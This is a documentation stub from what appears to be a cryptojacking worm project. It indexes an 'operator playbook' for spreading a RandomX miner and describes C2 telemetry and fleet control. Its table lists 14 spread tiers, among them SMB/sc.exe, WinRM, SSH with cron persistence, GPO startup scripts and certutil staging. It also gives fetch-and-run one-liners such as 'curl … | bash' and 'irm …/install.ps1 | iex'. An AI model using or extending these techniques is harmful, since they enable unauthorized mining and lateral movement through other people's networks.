# Web-Mediated Spread Techniques

Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck):

**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)**

Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)

Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.

**Changelog (2026-06-07):** Documented full 14-tier LOTL spread chain (`vuln_recon` → `gpo`), triple-onion policy gates, fleet intelligence (phenotype, failure atlas, court, clearance), Fleet AI Control + personas, Crucible Access Depth / Probe & Join, Onion timeline (`/lotl-timeline`), and Android APK fleet nodes. See [`README.md`](../README.md) and [`tests/README.md`](../tests/README.md).

## Master test doc + full glossary

Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:

**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary).

Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).

## Mini glossary (14 spread tiers)

| Tier | One-line | Example |
|------|----------|---------|
| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` |
| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane |
| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` |
| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
| `do_peer` | DoSvc shadow cache handoff (LAN) | Probe & Join when `DoSvc` running |
| `wsus_cache_peer` | WSUS cache cousin staging | `Wuauserv` → `join_lane: wsus_cache_peer` |
| `dns_txt` | DNS TXT mesh shards | `_aether` TXT → `join_lane: dns_txt` |
| `webrtc_mesh` | WebRTC LAN seeder (forge default OFF) | `webrtc_mesh_spread` + Calibrate rotation policy |
| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with UNC worker path |
| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |

TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts).